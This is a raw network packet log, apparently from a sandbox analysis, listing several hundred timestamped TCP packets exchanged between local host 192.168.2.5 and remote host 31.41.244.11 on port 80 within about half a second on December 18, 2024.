Dec 18, 2024 21:30:25.716945887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.716986895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.717689037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.717734098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.717871904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.717951059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.718844891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.718928099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.719006062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.719047070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.720035076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.720098019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.720154047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.720195055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.720860958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.720937967 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.721015930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.721056938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.721863031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.721911907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.722052097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.722090960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.722940922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.722985983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.723114014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.723251104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.723972082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.724021912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.724160910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.724204063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.725029945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.725106001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.725214958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.725259066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.726090908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.726138115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.726255894 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.726372004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.727247953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.727294922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.727462053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.727505922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.728297949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.728399992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.728435040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.728473902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.729015112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.729055882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.729110003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.729160070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.729995012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.730046988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.730123997 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.730168104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.730942011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.731009007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.731156111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.731229067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.731941938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.732047081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.732105970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.732146025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.733053923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.733095884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.733231068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.733269930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.734088898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.734131098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.734354973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.734395981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.735352993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.735394955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.735548973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.735590935 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.736566067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.736615896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.736766100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.736807108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.737864971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.737906933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.737982988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.738023996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.738796949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.738842964 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.738982916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.739036083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.739958048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.740010977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.876115084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.876185894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.876214027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.876348972 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.876699924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.876759052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.876946926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.876992941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.877569914 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.877630949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.877686977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.877734900 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.878504038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.878657103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.878725052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.879230976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.879420996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.879472971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.880300999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.880357027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.880480051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.880530119 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.881318092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.881365061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.881531000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.881576061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.882390022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.882442951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.882574081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.882621050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.883514881 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.883584976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.883666039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.883712053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.884593010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.884641886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.884695053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.884736061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.885586977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.885639906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.885796070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.885842085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.886686087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.886730909 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.886820078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.886863947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.887732029 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.887775898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.887855053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.887897015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.888741016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.888786077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.888902903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.888947010 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.889801025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.889847040 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.890016079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.890057087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.890901089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.890949965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.891030073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.891073942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.891947031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.891993999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.892164946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.892211914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.893073082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.893115997 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.893255949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.893306971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.894064903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.894113064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.894238949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.894285917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.895131111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.895174980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.895283937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.895333052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.896158934 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.896203995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.896325111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.896372080 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.897211075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.897262096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.897371054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.897413969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.898293018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.898339987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.898478031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.898523092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.899311066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.899369955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.899490118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.899537086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.900373936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.900422096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.900635004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.900681019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.901818037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.901865005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.902040958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.902086020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.902688026 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.902731895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.902820110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.902863979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.903642893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.903688908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.903836966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.903882027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.904618979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.904665947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.904840946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.904884100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.905679941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.905719042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.905867100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.905910015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.906727076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.906774044 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.906955004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.907001019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.907826900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.907872915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.908006907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.908050060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.908852100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.908895969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.909043074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.909085989 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.909902096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.909948111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.910092115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.910134077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.910958052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.911004066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.911113977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.911155939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.912060022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.912106991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.912198067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.912240028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.913149118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.913192987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.913305998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.913350105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.914376974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.914426088 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.914491892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.914534092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.915318012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.915363073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.915426970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.915468931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.916261911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.916301966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.916416883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.916460037 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.917363882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.917493105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.917542934 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.917586088 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.918381929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.918425083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.918541908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.918585062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.919481039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.919526100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.919605017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.919646978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.920598984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.920643091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.920785904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.920830011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.921766996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.921816111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.921971083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.922014952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.922862053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.922905922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.923034906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.923079967 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.923945904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.923994064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.924076080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.924118042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.924942017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.924984932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.925072908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.925115108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.925786018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.925831079 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.925982952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.926027060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.926837921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.926882029 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.926989079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.927031994 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.927886009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.927932978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.928065062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.928112030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.929054022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.929099083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.929191113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.929231882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.930012941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.930059910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.930181026 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.930219889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.931006908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.931052923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.067867041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.067965984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.067969084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.068016052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.068248987 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.068294048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.068531990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.068571091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.069176912 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.069220066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.069353104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.069509029 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.070256948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.070308924 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.070380926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.070425034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.071299076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.071352005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.071516991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.071561098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.072341919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.072395086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.072535038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.072577953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.073436022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.073487043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.073635101 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.073676109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.074502945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.074546099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.074647903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.074688911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.075539112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.075592041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.075695992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.075747967 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.076574087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.076809883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.076854944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.077761889 CET	80	49808	31.41.244.11	192.168.2.5
